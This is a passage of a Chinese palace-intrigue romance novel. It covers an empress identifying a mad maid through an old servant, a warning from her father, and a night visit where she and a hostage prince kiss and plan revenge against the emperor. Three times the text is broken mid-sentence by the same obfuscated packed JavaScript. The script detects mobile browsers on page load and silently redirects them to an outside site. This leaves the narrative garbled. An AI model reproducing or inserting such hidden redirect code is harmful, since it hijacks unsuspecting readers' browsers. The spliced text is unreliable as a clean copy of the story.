“娘娘,要不要找相爷帮忙?”芯红盯着桌上的画像已经看了一个多时辰问道。 “爹那边朝堂的事就够烦心了,先别让他知道。”容蓁一边轻抚着一株兰草的叶子,一边轻柔的鞠了水,仔细的撒在兰草根部。 “是了!奴婢想起一个人,她一定知道!” 61.进展 帝后大婚半载,后宫之中对这位皇后娘娘的说辞也是众说纷纭。 有说她是心机耍手段的,凡是敢与她分庭抗衡的,即便是一向骄横跋扈的淑贵妃,都免不了遭了她的暗道。也说她宅心仁厚,对花草都尚且如此照拂,又何况是宫人。 这位皇后入宫半载,平日里是个温柔恬静的主儿,就连到了年纪临出宫的宫女都会被额外给到一份体己的银钱。 是以各宫的小宫女私下都盼着能够去到明华殿里当差,说是只要不犯错,赏赐是极多的,也不朝打暮骂。 而作为皇后身边最得用的大宫女,芯红与绿芜二人虽替娘娘御下极严,但赏罚分明,将明华殿经营的铁桶一般。 曾有个先帝时期便在的老嬷嬷,在玉贵人宫里时因为年纪大手抖摔了个碟子,便要被打三十板子,还是她们二人偶然瞧见拦下的。 后来,芯红怜惜她孤苦,求了容蓁的话将那老嬷嬷接到明华殿来,平日里也是时常照拂。 “娘娘,不如带了那老嬷嬷去认认!” 先帝薨逝之后,宫里伺候的老人死了不少,又赶出去一大批,剩下的可真不多了。 好不容易想起这么个人来,芯红自是激动不已。 “安排一下,今夜就将人带来。” 容蓁也颇为惊喜,看来在宫中经常与芯红、绿芜常扮红白脸亦有用处。 是夜,紫冥给那疯女人灌了迷药,拎着人直接到了明华殿偏殿里。 她坐在贵妃榻上,手里揣着绿芜才给她裹好的汤婆子,阖着眼小憩。 “给皇后娘娘请安,娘娘千岁万福。”却寒帘被人从外打起,芯红带着那老嬷嬷也到了偏殿。那老嬷嬷随着芯红在屏风稍站片刻,等身上的寒意退去这才入内,见了容蓁便下跪行礼,礼节娴熟丝毫不错。 贵妃榻上的人缓缓睁开眼来,闻声望去将人打量一番。 嬷嬷大约五十多岁年纪,眼尾额头都有了皱纹,但肤色白皙,神色平静,自有一番气度。 不错。若是忠心,倒也是个可用之人。 容蓁心中暗赞一声,纤手微抬:“嬷嬷请起。” 话落,她又向一旁的芯红递了眼色过去,后者会意立即伸手去将老嬷嬷扶起身来。 那老嬷嬷起身,规矩地朝容蓁道谢,垂眉低眼地站在芯红的身侧。 容蓁抬眼打量那老嬷嬷一番,只见那嬷嬷只垂眼看着自己脚下一方地,其余的她是一点不看,身子也是一点不斜。 她微微一笑,指着身旁晕过去的疯女人道:“嬷嬷是宫里的老人,见识也比旁人要多些,有劳嬷嬷帮着本宫瞧瞧,这人可曾在哪宫里见过?” 那嬷嬷仍旧神色冷静,听闻皇后开口问话,这才抬首顺着容蓁指的方向凑上前去,认真打量着那女人被擦洗干净后的面容。 片刻后,她双眉紧紧蹙起,转身面向容蓁。 “嬷嬷可瞧清楚了?” 容蓁纤手攥紧了那贵妃榻紫檀木扶手,立起身子来微微前倾,眼中希冀一闪而过。 “回娘娘,老奴瞧清楚了。”老嬷嬷恭谨地低头回话,“这人是先帝贵妃娘娘宫里的宫女,老奴曾经见过她几次。” 容蓁打了手势,示意紫冥将那疯女人带走。 “贵妃,可是先帝薨逝后殉情的那位?”她蹙眉问道。 说起这位贵妃,可还真有不少故事。 本朝没有嫔妃殉葬的先例,顶多就是皇帝崩后,找个偏远的宫殿将先帝妃嫔划了座大点的宫殿给她们一起打发时日。 这些新晋的太妃们,对新皇既没有什么威胁,养着也不过费些份例,又能得个“贤孝”的名声,新皇也乐得如此。 民间有句俗话,好死不如赖活着。 显然,这位贵妃娘娘不是这么想的。 据说先皇崩逝后没几日,这位贵妃娘娘就一头在自己宫殿的柱子上碰死了,宫里宫外都掀起了轩然大波。 礼部又需得赶紧着筹措贵妃的丧礼,忙了个人仰马翻。 民间亦是流言满天飞,成了百姓茶余饭后百姓最爱议论的话题。 大多是赞扬贵妃与先帝恩爱情深,见爱人没了,自己也不愿独活。也有猜测新帝得位不正,贵妃恐家族受到牵连才一死百了。 为此,当时盛京之中好多才子文士得了灵感,写了好些诗词歌赋。 “正是。贵妃娘娘殉情时老奴也去了跪灵,可现在想来,那时候就没见过方才那宫女了。”老嬷嬷仔细回想,将她所知道的事无巨细地讲给容蓁。 据老嬷嬷回忆,那宫女曾是贵妃宫中的一个二等宫女,平日里也是有些脸面的。 老嬷嬷当时是在先皇后跟前儿伺候,被先皇后打发去贵妃宫里送过几次东西,都是那位宫女为她引的路,所以她还记得。 那时候她容颜颇为娇艳,打扮的也比旁人娇俏些,意气风发的样子。也不知怎么落得如今这般下场,形容枯槁,人不人鬼不鬼的。 “听你的意思,是先帝崩逝前你曾最后一次见她,之后就再没见过?” 容蓁两根白皙纤细的手指撑着额头,若有所思的问道。 “是,老奴确定。”老嬷嬷肯定地点头道:“先皇后薨后,老奴被分去了其他宫里做了二等宫女。给贵妃哭灵的时候,奴婢恰好跟贵妃宫中的二等宫女跪在一处,并没有见到她。” 见她言语缜密详实,并无半点撒谎的样子,容蓁又问了几句,便吩咐厚赏,示意芯红将人送回去。 等人出了偏殿才吩咐着旁边的人道:“绿芜,重新给她派个差使,去查查她的出身背景,若清白,就放在明华殿里留用吧。” 绿芜点头应是,她才继续阖上眼来。 折腾了小半天也有些疲了,绿芜拿了美人锤,站在身后不轻不重的为她捶着背。 这人身份是查清了,可乍看上去,跟前太子的事似乎并没有什么关联。 “娘娘,这人既然是贵妃宫中的,会不会是萧世子那边消息有误?”绿芜轻声问道。 容蓁闭着眼摇了摇头,“先皇崩逝与太子薨就在前后脚,若说这里没鬼,怕只能糊弄不懂事的小孩罢了。” “如今看来,这贵妃之死,只怕也没那么简单。咱们想要解谜,若是能从先贵妃这边入手,想来也会是个突破。”她唇角微微勾起说道。 查了这么久,她总觉得谜团背后有一只无形的手,在操控着一切。 从前她刚发现点端倪,便有人急不可耐的跳出来,将好不容易得来的线索迅速抹去。 而如今她手里得的这位先贵妃宫里的宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296324|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女,怕刚好是条漏网之鱼! - “该娘娘落子了。” 一只骨节修长、精美如玉雕的手伸出,拈了颗黑子落在棋盘上。曾经清冷寒凉能冻死人的声音,如今多了一丝和煦,带着笑响起。 容蓁说托腮看着棋盘,小脸微微皱起,像是没听见萧誉的话。 自从上次表白之后,萧誉就养出了爱翻墙角的毛病,有事没事儿的就翻去后院儿西偏殿里,还打发那只白猫来暖阁帮他传话。 也是奇了,那白猫还偏偏每回都帮他。 从前克己守礼的少年,如今似乎胆子大了不少。 就连她打趣他越发爱翻人墙角的话,如今都能笑答曰:“不仅爱翻娘娘您的墙角,亦正打算挖人墙角。” 尤其那一双黝黑的眸子,看着她时里面像是有一团火,热烫的仿佛要将她融化一般。 今日,不期然的他又翻墙进来,萧誉邀她手谈一局,两人便在西偏殿内坐了下来。 如今这西偏殿亦非萧誉第一次进来时的模样,内里的布置不过几日已丝毫不差于她的暖阁。 容蓁自认棋力不弱,就连精通棋艺的大哥,都曾是她的手下败将,入宫前她与萧誉也曾对弈数次。 可萧誉现下棋艺猛进,总是压她一头!也不知他从哪里学来的,棋路怪异又狠辣,两人下了三盘,杀的容蓁额头都有了细汗。 眼见着这局又要输了,容蓁咬着唇瓣,绞尽脑汁的想着破解之法。 “娘娘,相爷进宫了,在正厅候着娘娘。”芯红碎步进来,附在容蓁耳边道。 “父亲来了?”她当即如临大赦,随手将棋子扔进棋篓惊讶道。 “娘娘既有事,在下告退。”萧誉这方面是个识趣的人,起身作揖后就出了西偏殿。 她扶着芯红的手走进正厅时,容玉山正双眼微眯喝着热茶,见容蓁走来放下手中的茶盏行了君臣礼。 容蓁快走几步将他扶起,“父亲来女儿殿里就不需这些个虚礼了。”她打量着父亲的神色,“父亲过来,可是有何事?” 容玉山借势起身双手负在身后,落后半步状似无意的问道,“近日听说娘娘与那南疆世子走得比较近?” 容蓁心中一跳,不自觉的抿了抿唇,“在宫中碰到过几次,无意中帮过他几回忙,所以见面也能说上几句话。”顶着父亲严厉的目光,她硬着头皮道。 话落,容玉山目光落在容蓁脸上,审视了片刻,紧蹙的眉头丝毫没有松开。 “南疆是历代皇帝的心病,都欲除之而后快。这南疆世子为质的这段时日我也派人观察过,他表面上看似恭顺,实际上是个有反骨的。虽还只是个未及冠的少年郎,但他的名号可比咱们看上去的要响亮多了,‘杀神’也不是随便人就能担得起的。” 他面色肃然地同容蓁讲着,后者也认真地听,偶尔点头回应着。 “他们之间的恩怨咱们容家不欲参与,更何况你二哥几次出征南疆,早年也是结过仇的。娘娘最好与他走的别太近。” 说道最后,容玉山语声中多了严厉,正色看着容蓁道。 容蓁恭顺的低头应是,嘴角忍不住抽了抽。 有反骨? 何止啊! 这少年简直就是胆大包天! 62.撩拨 容蓁又与父亲交谈了许久,待到太阳偏西二人这才依依惜别。 她回到暖阁中,半倚在贵妃榻上,与父亲聊过后她的心里莫名堵得慌。也不知是因为父亲让她不要与萧誉走得太近,还是因为年关将近,手头上的事不减反增。 抬手揉了揉额头,又阖上眼整理起思绪来。 想要弄清楚当年到底发生了什么事,就要先找出太子、先皇、贵妃几人之间的关联。 太子莫名暴毙,紧接着就是先皇薨逝。没过几日,便是先皇最宠爱的贵妃殉情。 这位贵妃之死,总隐隐给她一种怪异之感。莫非当年,贵妃是知晓了什么密事? 若是这样,那么那个疯了的宫女又改如何解释? 萧誉说过,他要查太子当年旧事,宫里的探子才让他去寻这宫女的? 难道…… 容蓁面色一沉,难道是太子跟这宫女有什么? 宫女反复念叨的“偷情”二字,是说她与太子……偷情? 可太子一向是光风霁月的,当年不论面对何人都是极为和善的。温文尔雅、君子如玉,用来形容他再合适不过了。 更何况,他是楚燕名正言顺的储君,若是想要一个宫女,左右不过一句话的事。 他用得着冒着身败名裂的风险只为同一名宫女偷情? 容蓁想来想去,还是觉得不大可能。那么,到底谁才是这“偷情”的真正主角呢? 她有些颓败的揉了揉跳痛的太阳穴,轻叹一声。 罢了,现在她掌握的线索还是太少。好在这一世有萧誉帮她,有些事情不必她亲自去,也就能避开楚绍的察觉。 - 晚膳摆在桌上,都是绿芜精心按照她的口味准备的,却丝毫引不起她的食欲。没吃两口便让人将膳食撤了去。 冬日的夜来的早,簌簌的落雪声,还有前院里宫人脚踩在积雪上清脆声,在夜间似乎都放大开来。父亲的话在她耳边回响,一遍又一遍。她敛下眼眸,掩盖住眼底的苦涩。 她何尝不知? 可有些事情,不是理智能够控制的。比如情感这一物,若是自己能够左右,往古至今又怎会出现那么多令人羡艳的风月情长。 自从重生以来,萧誉帮了她太多,每一次的出手相助,每一次的温柔以待,都像春雨润物般,悄无声息地渗透进她的心里。 她本就不是无情人,滴水尚能穿石,真情如何不能浸心。 所以她心中清楚,自己对萧誉,并非全然无意。 他清冷的眉眼,偶尔流露出的温柔,都像春日暖阳,一点点融化她心底的坚冰。 她知道自己该克制,该保持理智,毕竟她重活一世,不是为了贪恋儿女情长。可感情的事,又岂是理智能够控制的? 夜深了,她躺在床榻上,却辗转反侧,难以入眠。萧誉的身影,一遍又一遍地浮现在她的脑海里,挥之不去。 乞巧节时……林间山洞……还有那晚废弃宫殿的月影之下。 她翻身坐起,看着窗外皎洁的月光,心中突然涌起一股冲动。那冲动更似结在心中的郁气,堵在胸口处长久消散不去。 不行,她要出去走走。 她起身换上软烟色云纹锦绣衣袍,外披着珠灰兔毛斗篷将自己裹得严实,又熟稔地避开楚绍安排在她宫殿附近的暗哨,悄无声息地翻出明华殿。 夜色如墨,繁星点点。 夜深人静,宫殿里一片寂静,只有几盏昏暗的灯笼,在雪夜风中摇曳。 她轻车熟路地绕过守卫漫无目的地走着,前世于她最大的裨益就是对着宫中的一草一木都了然于胸。 不知不觉间,她来到了一座熟悉的宫殿前。 她停下脚步,抬头望着眼前这座宫殿“栖云轩”的牌匾,心中五味杂陈。 犹豫了片刻,她找了出恰当的位置翻墙入内。 脚尖轻点落地,宫殿内静悄悄的,只有几盏昏暗的宫灯上落着积雪,散发着微弱的光芒。 正院里空无一人,四周的暗哨现下也应该尽数被紫冥的人引开。但她仍然小心翼翼地贴着回廊墙边,步伐轻盈地尽量避开积雪的地方朝正殿方向走去。 不多时,她悄然来到正殿殿门前,透过门窗能看到殿中依稀发出微弱的光,她抿了抿唇,抬手轻轻叩响了房门。 屋内烛火摇曳,却不见有人应答。 她秀眉微蹙,心中疑惑更甚,试探着再次叩门,这一次没有犹豫,力道也稍稍重了些。 “谁?” 低沉的男声从屋内传来,带着几分沙哑,像是刻意压低了声音。 她贴着房门柔声道:“是我。” 屋内沉默了片刻,随即传来一阵轻微的响动。 下一刻,房门被人从里面拉开。 萧誉一身月白色寝衣,墨发披散,站在门内,神色间带着几分不自然。 他似乎是刚沐浴过,发梢还带着些许湿意,身上散发着淡淡的皂角香气,与平日里清冷禁欲的模样大相径庭。 容蓁眸光微闪,目光却落在他领口露出来一大片雪白的肌肤和若隐若现的锁骨上。 他愣神须臾,眸色清亮,看着容蓁眉梢一挑,俯首逼近,盯着她的眼底有掩饰不住的惊喜,“这么晚,娘娘怎么来了?” 话落,侧身让开一条路,示意她先进屋。 “我……睡不着,出来走走。”她看着今晚似乎有些不大一样的萧誉淡淡一笑,掩饰着内心的慌乱,错开落在他身上的视线。 “哦?”他应了一声,目光在她身上停留了片刻,深邃而炙热,仿佛要将她吸进去一般。 她跨过门槛,借着柔和的烛光打量着屋内。书案上堆满了卷轴,地上还散落着几张画纸,画纸上是……她眸光微闪,不动声色地移开视线。 身后的人关上房门,转身便看到她站在原地,目光落在地上的画纸上。他忽然有些慌了神,快步上前将画纸捡起,故作镇定道:“平时无聊时打发时间所作……。” 她没有追问,只是走到桌边坐下,这才抬头看向萧誉。 被她看着的人心中莫名一紧,仿佛有什么东西在胸腔中乱撞。而她的眼中似有星光闪烁,让他心头一颤。 他眼神闪烁想要避开她的目光,却又忍不住被她吸引。 只好转身走到桌边,故作镇定地给自己倒了一杯茶水,不曾想手一抖那茶水洒在了衣襟上。 容蓁见状,黛眉一蹙看着眼前如此反常的人,心中更加确定了几分,他定然是有事瞒着自己。 她走上前,从袖中取出一方素帕,递给萧誉,柔声道:“怎么这般不小心?” 萧誉接过帕子,却并没有擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306569|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拭衣襟,只是紧紧地攥在手中,指节泛白。又深吸一口气,努力让自己看起来平静一些。 可抬眸对上容蓁那双清澈见底的眸子,心中顿时慌乱如麻。 他……他该怎么解释? 说自己正在学习如何勾引她? 前段时日,每每随同二皇子出入那些个莺歌燕舞的花楼,他也并不只是喝酒听曲,还有…… 他脑海中突然浮现出在花楼里看到的那些勾引人的手段,鬼使神差地抬起手,想要像那些风尘女子一样,挑起眼前人的下颚。 然而,手才抬起,还没碰到她的脸颊,就被容蓁一把抓住。她的手很凉,却很柔软,像是一团柔软的云,包裹住他的手,让他心头一荡。 他看着容蓁,心跳也得越来越快,能感觉自己的呼吸都变得急促起来。 两人四目相对,呼吸交缠,气氛顿时变得暧昧起来。 萧誉只觉得心跳如鼓,浑身僵硬。 容蓁感受着他的体温,闻着他身上淡淡的皂角香气,心中竟是生出一丝异样的感觉。 她抬起头,目光落在他上下滚动喉结上,忍不住伸出手指,轻轻抚摸了一下。 萧誉浑身一颤,像是被电流击中一般,眸底染上□□,揽过她的腰将她抵在墙上,一手撑着墙。 他欺身逼近,胸前的领口更开了些,袒露在外的雪白肌肤渐渐转粉,渐深……脸上的慌乱也瞬间转为压制,垂眼看着她缓缓靠近,温热的吐息她耳畔道:“如今我越发确定,娘娘是喜欢我这副皮囊的。” 他声音低沉暗哑,像是砂纸摩擦过耳膜,激起一阵酥麻的战栗。 容蓁被他这突如其来的举动吓了一跳,却也明白过来,自己方才的举动太过大胆了,脸颊却不受控制地泛起一阵热意。 她却故作镇定地垂下眼帘,掩饰住眼底的慌乱。微微歪着头,长长的睫毛像两把小扇子,在白皙的脸颊上投下淡淡的阴影,显得格外无辜,意味深长道:“哦~是吗?” 他俯首凝视着她,见肤如凝脂的她渐渐染上绯红,身上淡淡的清香萦绕在他鼻尖,让他忍不住喉结上下缓缓滚动,努力克制住自己心中的躁动。 他从未想过,自己有一天会被一个女人逼到如此地步。他深吸一口气,声音沙哑道:“莫非娘娘方才……是在故意撩拨我吗?” 故意吗? 她嘴角微微勾起,媚眼如丝,反问道:“世子觉得呢?” 她纤细的手指轻轻抚上他的胸膛,隔着薄薄的寝衣,感受着他胸膛的起伏和温度。 萧誉的身体明显僵硬了一下,呼吸也变得更加急促。 容蓁却像是没有察觉到他的异样一般,继续用指尖描摹着他胸膛的轮廓,语气轻柔得如同呢喃:“世子是在紧张吗?” 他想要否认,却发现自己根本无法说谎。 她的触碰,像是一团火,在他体内燃烧,让他理智全无。 他猛地抓住她的手,将她拉进自己怀里,声音暗哑道:“娘娘就不怕我没忍住吗?” 容蓁非但没有害怕,反而更加大胆地环住他的脖子,在他耳边轻轻吹了一口气。温热的气息喷洒在他的耳廓,让他身体里的血液瞬间沸腾起来。 他再也无法忍受,低头吻住她的唇。 这个吻,霸道而热烈,像是要将她整个人吞噬。 63.帮她 萧誉的呼吸变得急促,灼热的气息喷洒在容蓁的脸上,带着淡淡的皂角香气杂糅着甘松香味。 他看着她的眼神,仿佛一头被困住的野兽,想要靠近,却又怕唐突了她。 萧誉的喉结上下滚动,仿佛在极力压抑着什么。看着近在咫尺的娇嫩的红唇,眸色渐深,终于忍不住低头吻了下去。未等容蓁反应,那微凉的唇转瞬间覆盖在她柔软的唇瓣上。 起初,他的吻带着几分急切和强势,像是要将她吞没一般。容蓁的心跳骤然加速,下意识地想要躲闪,却被萧誉扣住后脑勺,加深了这个吻。 揽着她腰身的手收紧将她抱得更紧,像是怕她随时会消失一般。他的舌尖撬开她的贝齿,肆意地掠夺着她的甜蜜。他的吻逐渐变得温柔,像是对待一件稀世珍宝。 容蓁的大脑一片空白,惊诧的眸子看着压过来放大的俊脸,所有的理智、挣扎统统抛诸脑后。只能感受到他炙热的体温,以及那让人沉沦的吻。感觉到他的珍惜和爱怜,心中那丝慌乱也渐渐消散。 她闭上眼睛,回应着他的吻,任由自己沉沦在这温柔的漩涡之中。 萧誉的手指轻轻抚摸着她的脸颊,感受着她肌肤的细腻和柔软。他的动作是那样轻柔,仿佛害怕惊扰了她的美梦。她感觉自己身上所有的感觉似乎一瞬间都被放大,他所有的动作都使她清楚且敏感地感受着、沉沦着,在她身体的每一个气孔周转着,令她心神晃荡。 容蓁的呼吸变得急促,身体也开始发烫。也能感觉到萧誉的体温,他的心跳,以及他那压抑着的渴望。就在她快要窒息的时候,萧誉却突然松开了她。 他低头看着怀里的人喘着气,一双漆黑的眼眸中满是压抑和克制,声音沙哑道:“对不起,我……” 才发现怀中人一双水润的杏眼中满是迷茫,仿佛还未从方才的亲吻中回过神来。她轻轻地喘着气,胸脯微微起伏,脸颊上还带着一抹未褪的潮红,显得格外娇艳动人。 说到一半的话被他咽了回去,唇角微微勾起,颇为享受地看着容蓁的表情,眼神中还在回味着方才的甘甜。 她稍稍缓过气来,思绪渐渐回笼,看着眼前这个俊美无俦的男人。 【宿主与萧誉好感度增长10分,目前总好感度为62分】 系统的提示音,让她意识到自己仍然身处在现实之中,而非九天梦境。 也不知怎的,方才仅剩的一丝理智,也被眼前的他带走崩离。 萧誉低首抵着容蓁的额头,看着她垂下长长的眼睫在雪白的肌肤上投下的阴影。殿内的气温本就因着地龙要比外头暖和许多,身上还罩着厚厚的兔毛斗篷的她只觉得此刻每一个打开的毛孔都在冒出细密的汗来。 “萧誉。”她轻轻启唇,轻柔地唤着他的名字。 “嗯。”抵着他额头的人,从鼻腔中发出一声轻哼,漆黑的眼眸闪烁着光亮看着她心中雀跃。不晓得是因为她今日不同于往日的态度,还是因为她方才叫了他的名讳。 感觉到对方的热气,他才离了她的额头,那着方才容蓁递给他的那方素帕,小心地为她擦拭起额间细密的汗水,然后才认真地看着她语气比那初春的日光还要柔和道:“先把斗篷脱了吧。” 话落,这才放开握在臂弯中的腰身,往后退了两步。 容蓁将斗篷脱下搭在臂弯里,看着站在两步开外的萧誉。忽然想起初遇时,古刹里的那个如寒霜般冰冷的萧誉。 她忍不住“噗嗤”笑出来,“当初在那座古刹之中,你也是递给我几颗果子之后,立即退后站离我也差不多现在这个距离。” 萧誉一怔,显然没有想到容蓁会提起两人当初第一次见面时的场景,那个时候他以为容蓁救自己是有利所图。 他抿了抿唇,脸上闪过一丝尴尬,轻轻清了一下嗓子才道:“如今自然同当时的情况不同。” “如今是为哪般?”萦绕在二人之间暧昧的气息长久消散不去,她顺着萧誉的话,想继续转移二人的注意力。 “如今,自然是怕你跑了,才挡在你身前的两步之内。”他神情十分真诚地回道,却不知此时他心中一喜上眉梢不可抑制。 容蓁听闻立即又红了脸,定了定神,斟酌地缓缓说道:“萧誉,我的心告知我亦心悦于你,但理智又告诉我不能同你一处。” “为何?” 萧誉的心瞬间提到了嗓子眼,他上前一步,想要触碰她,却又在半空中生生止住,心脏仿佛被人紧紧攥住,他努力克制着自己的情绪,不让自己在她面前失态。 容蓁垂下眼帘,掩盖住眸中的复杂情绪,纤细的手指无意识地摩挲着斗篷上的兔毛。 “我……背负了太多,不能……”她欲言又止,贝齿轻咬着下唇,声音低不可闻。 萧誉见她这般模样,心中更加焦急,恨不得将她拥入怀中,却又顾忌着她的感受,只能强忍着冲动,静静地等待着她的答案,一双深邃的眸子紧紧锁住她。 “你可是有难言之隐?”他语气中带着一丝不易察觉的颤抖,深邃的眼眸紧紧锁住她的脸庞,生怕错过任何一丝情绪变化。 容蓁抬起头,眼眶微微泛红,却强忍着不让泪水落下,这副我见犹怜的模样,让萧誉恨不得将她揉进骨血里好好疼爱。 “我……”她深吸一口气,仿佛下定决心般说道,“我此生背负血海深仇,不得不报。” 萧誉一怔,眉头紧锁,他从未听她提起过此事。 “是他?”他语气冰冷,带着肃杀之气,“楚绍?” 容蓁点了点头将目光转向殿外,雪花纷纷扬扬地飘落,握着斗篷的手却不自觉地收紧,指节泛白。 “是。” 良久,她的声音如同窗外飘落的雪花那般很轻,却如同一记重锤砸在萧誉的心头。 他一直都知道,这个看似柔弱的女子,内心深处藏着许多秘密。 “你想如何报仇?”萧誉的声音听不出任何情绪,深邃的眼眸中却翻涌着惊涛骇浪。 容蓁转过身斗篷被她狠狠攥在手中,一字一句道:“我要他血债血偿。” 她的眼神坚定而决绝,没有丝毫的犹豫和退缩。 萧誉的心仿佛被那只攥着斗篷的手紧紧攥住,他从未见过这样的容蓁,如此的陌生,却又如此的吸引他。 他伸手覆在容蓁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327629|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手背上,一双大手温暖而有力,像是冬日里的一团火焰,熨帖着她冰凉的指尖。 容蓁的心跳乱了一拍,想要抽回手,却被他握得更紧。 “我会帮你。”萧誉看着她,深邃的眼眸中闪烁着坚定不移的光芒,“也会等着你。” 他的声音低沉而磁性,像是带着某种魔力,让她无法抗拒。 容蓁的心底涌起一股暖流,她轻轻点了点头,反手握住他的手,十指相扣。 “多谢。”她轻声说道。 萧誉的嘴角勾起一抹温柔的笑意,他反握住她的手,轻轻摩挲着她的手背,像是对待一件珍宝。 正殿外,雪花依旧纷纷扬扬地飘落,整个世界仿佛都被染上了一层银白。 “如今朝堂局势动荡,楚绍他……”容蓁顿了顿,继续说道:“吏部尚书自江南盐税一案后,这个职位到目前仍然空缺,我猜想最晚也会在宫宴休沐三日之后,楚绍会决定升迁吏部尚书的官吏。” 萧誉剑眉微蹙,他知道容蓁接下来要说的话,定是与这吏部尚书的人选有关。 “若是让他任用的是与容氏对立的官员,对你们来说必定是不小的打击,吏部尚书这个位置太过重要,开春后就是会试。”萧誉话说到一半,眸光中闪过一丝寒凉,“若是我,定会给主理会试的容御史埋下陷阱。” 容蓁美眸微转,闪过一丝精明的光芒,“故此,我们不能让楚绍如愿,也不能让左相一派的人上任。” “你的意思是……”萧誉看着她,等待着她的答案。 “楚绍未必会同意我容氏门下的官吏接任吏部尚书这个职位,所以我们需要找到第三势力的人,先来坐稳吏部尚书这个位置。”容蓁语气坚定,眼中闪烁着自信的光芒,“然后再将他变成我们的人。” 萧誉点头默认她的想法,心中暗暗赞叹,不愧是他看上的女人,还隐藏着一颗七窍玲珑的心。 “你有合适的人选?”他问道。 容蓁摇了摇头,“明日劳烦你去一趟容府,将此事告知我父亲,看看他有何对策。” “好。”萧誉毫不犹豫地答应。 但立即,他面色有些犯难,看着容蓁有些犹豫。 “怎么了?”容蓁问道。 “你父亲好像不喜你我走得过近。”难得看见萧誉这支支吾吾的样子。 不对,他如何知晓父亲不想让他们二人走得过近? 她狐疑地看向萧誉。 只见后者慢慢向后移了一段距离,脸上尴尬的笑起解释:“若我说,我是临走时无意间听到的,你可愿相信?” 她想起那时父亲同她说的话。 “南疆是历代皇帝的心病,都欲除之而后快。这南疆世子为质的这段时日我也派人观察过,他表面上看似恭顺,实际上是个有反骨的。虽还只是个未及冠的少年郎,但他的名号可比咱们看上去的要响亮多了,‘杀神’也不是随便人就能担得起的。” 她眸光瞬时一沉,看着他问道:“所以你说会帮我,并不仅仅只是因为我的缘故。” 窗外的雪花依旧纷纷扬扬地飘落,落在屋脊上瞬间融化,化作点点冰凉。 64.共寝 萧誉看着容蓁的脸色沉下来,往日一双明亮的杏眼骤然暗了下去,幽幽地泛着波光凝视着他。 他晓得她定然误会自己了,面色一紧,立即上前一步,神情坦然,语气诚恳道:“天地可鉴,自然仅仅只因为想要帮的人是你,我才会要帮你扳倒他。而至于旁的,我也有旁的法子应付。局势与情感,我分得清楚。” 容蓁凝眸看着面前的人,分辨他话中的真假,瞧了半晌,除了那双漆黑如墨的眸子异常透亮明澈外,倒也没看出什么其他问题来。 这才侧过身子,黛眉微蹙,做出小女儿的情态来,嗔他一眼道:“最好是如你所言。” 看她这副模样,萧誉心里知道她信了自己,脸上神情松懈下来,一副如释重负的样子。 心情放松下来,容蓁忽觉得困意袭来,掩唇打了个哈欠,眼角沁出几滴泪珠来。 萧誉见了不自觉地勾了勾嘴角,走上前未等她反应过来,人已经被他打横抱起往寝殿走去。 被忽然抱起的人瞪大了眼睛,捏起拳锤了锤萧誉的胸口,低声惊呼道:“萧誉,你要干什么?你快放我下来!”语气里有掩饰不住的惊慌。 萧誉却充耳不闻,抱着她劲直走到里屋后将她轻轻放在床榻上,甘松的清香自身下的床榻钻进她的鼻息中。 容蓁紧张地抓紧被褥,往里面挪了挪,一双杏眼警惕地看着萧誉。 被盯着的人大方地坐在床榻沿边,看着容蓁的眼里含着笑意,弯了弯嘴角道:“我不过见你眼下落了青影,可见这几日都没怎么睡好,方才又打着哈欠,才抱你过来睡觉。” 萧誉看着她顿了顿,抬手刮了刮她的鼻梁,脸上别有深意地笑起,“不然,你以为我想做什么?” 话落,托着腮饶有兴致的看着容蓁。后者见他这幅调戏自己的模样,立即羞红了脸,侧过脸去就要起身下榻,“要睡也是回我自己宫里去。” 那人却一只手将她摁了回去,身下的被褥不知怎的被他一拉就覆在了她的身上,随之他自己也索性打横了身子也躺了下来。 被褥被萧誉死死地压在身下,他一手撑着脑袋,侧躺着看着她道:“你若回去能睡得安稳,眼睛底下哪里还会落下那层青影。” 说罢,看着只露出一双眼睛死死盯着自己不出声的容蓁,他无奈地摸了摸额头,“我今晚绝对不会对你做什么,你只管将心放进肚子里,好好地睡上一觉可好?” 被压在被褥里的人闻言,一双杏眼滴溜溜地转了转,将信将疑地盯着他。 萧誉被她看得心里发毛,轻咳一声,伸手将她眼皮轻轻抚上,“快睡吧。” 容蓁顺势闭上眼睛,长长的睫毛在眼睑处投下一片阴影,掩盖住眼底的情绪。 萧誉见她乖乖听话,心中一软,忍不住伸手将她额前散落的发丝别到耳后。指尖不经意间触碰到她细腻的肌肤,温热的触感让他心头一颤,指尖仿佛触电般迅速收回。 他朝着容蓁的方向往里靠了靠。 后者被他这突如其来的动作吓了一跳,挣扎着想要起身,“你做什么?” 